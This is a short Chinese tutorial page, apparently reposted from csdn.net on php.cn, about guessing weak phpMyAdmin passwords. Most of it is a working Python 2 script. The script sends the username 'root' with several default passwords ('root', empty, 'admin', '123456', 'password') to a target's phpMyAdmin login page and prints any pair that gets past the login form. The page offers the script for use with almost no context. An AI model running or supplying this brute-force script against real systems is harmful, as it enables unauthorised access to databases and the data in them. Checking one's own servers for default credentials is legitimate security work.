首頁  >  文章  >  資料庫  >  關於PHPMyAdmin弱口令猜解

關於PHPMyAdmin弱口令猜解

藏色散人
藏色散人轉載
2021-05-27 15:55:133911瀏覽

下面由phpmyadmin教學專欄跟大家介紹關於PHPMyAdmin弱口令猜解,希望對需要的朋友有幫助!

PHPMyAdmin弱口令猜解【Python腳本】

PHPMyAdmin弱口令猜解

測試截圖: 

##程式碼片段

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import time

username_list=['root']
password_list=['root','','admin','123456','password']

def phpMyAdmin(ip,port=80):
	for username in username_list:
		username =username.rstrip()
		for password in password_list:
			password = password.rstrip()
			try:
				#url = "http://192.168.106.141/phpmyadmin/index.php"
				url = "http://"+ip+":"+str(port)+"/phpmyadmin/index.php"

				data={'pma_username':username,'pma_password':password}
				response = requests.post(url,data=data,timeout=5)
				result=response.content
				if result.find('name="login_form"')==-1:
					print '===================================================='
					print '[+] find phpMyAdmin weak password:'+username,password
					print '===================================================='
					break
				else:
					print '[-] Checking for '+username,password+" fail"
			except:
				print '[-] Something Error'+username,password+" fail"
				
if __name__ == '__main__':
	phpMyAdmin("192.168.106.141")

以上是關於PHPMyAdmin弱口令猜解的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:csdn.net。如有侵權,請聯絡admin@php.cn刪除